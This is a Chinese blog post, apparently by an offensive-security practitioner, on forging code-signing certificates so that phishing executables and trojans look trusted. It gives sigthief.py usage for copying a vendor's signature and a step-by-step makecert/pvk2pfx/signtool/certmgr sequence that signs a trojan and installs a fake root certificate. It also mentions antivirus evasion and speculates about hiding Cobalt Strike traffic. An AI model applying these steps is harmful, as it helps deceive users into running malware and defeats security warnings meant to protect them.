1. 程式人生 > 實用技巧 >強簽名偽造

強簽名偽造

強簽名偽造

前言

上週五有個朋友問我uac認證那個釋出人能不能偽造,我問他偽造這玩意幹啥,他說可以讓釣魚的exe更真實一點。

簽名的作用

在當前零信任的網際網路中,網站上充斥著大量釣魚軟體,普通網民無法識別這些惡意軟體,但好在瀏覽器和計算機會幫你識別一些做工比較“粗糙”的釣魚軟體,作為攻擊方我們不能指望使用者“無腦”去點選下載這些已經被提示危險的軟體,而對軟體進行證書強簽名就是為了解決這個問題。

以下是一些未簽名的軟體,瀏覽器的下載提示:

以下是我做的上篇dll代理載入uac認證的微信客戶端程式(未簽名)

而有簽名的uac是這樣的:

顏色都不一樣怎麼騙人!!!

實驗1(no)

偽造簽名可能很多人第一時間想到的是sigthief.py

,我之前一直也是用這個對我木馬進行簽名的,有時候只是單獨用這個偽造一個微軟簽名也是能過某些殺軟的(刪掉),但事實證明這方法不太行。(可能是我把事情想太簡單了)

//usage
python3 sigthief.py -i 要偽造的證書軟體 -t 未簽名的軟體 -o 輸出的檔名 

這是我偽造某數字殺軟證書的對比

實驗2(yes)

//需要的工具
makecert.exe
cert2spc.exe
pvk2pfx.exe
signtool.exe
certmgr.exe

Windows SDK預設包含以上工具
SDK下載地址:https://www.microsoft.com/en-us/download/details.aspx?id=8279

0x01 生成一個自簽名的根證書

1、makecert.exe -n "CN=Root" -r -sv RootIssuer.pvk RootIssuer.cer
2、然後自己隨便設定一個私鑰,我這裡設定為123456

0x02 使用這個證書籤發一個子證書

1、makecert.exe -n "CN=Child" -iv RootIssuer.pvk -ic RootIssuer.cer -sv ChildSubject.pvk ChildSubject.cer -sky signature
2、Subject Key為123456/Issuer Signature 為123456

0x03 公鑰證書格式轉換成SPC

cert2spc.exe ChildSubject.cer ChildSubject.spc

0x04 將公鑰證書和私鑰合併成一個PFX格式的證書檔案

pvk2pfx.exe -pvk ChildSubject.pvk -pi 123456 -spc ChildSubject.spc -pfx ChildSubject.pfx -f

0x05 為木馬簽名

signtool sign /f ChildSubject.pfx /p 123456 rubt.exe

注意:這裡如果直接用cmd執行signtool可能會報如下錯誤:

> signtool sign /f ChildSubject.pfx /p 123456 rubt.exe
SignTool Error: No certificates were found that met all the given criteria.

解決方法使用vs開發人員命令提示符工具

0x06 匯入證書

//普通許可權
certmgr.exe -add -c Root.cer -s -r currentUser root
//管理員許可權
certmgr.exe -add -c Root.cer -s -r localmachine root

0x07 實驗結果

生成木馬後,載入uac認證,最後在匯入證書

注:不能先匯入證書在載入uac認證,否則會簽名失效

思考

在使用cs的時候往往會使用流量問題被查殺,特別是阿里雲伺服器,這裡是否可以使用特製的證書進行繞過流量查殺,等待驗證。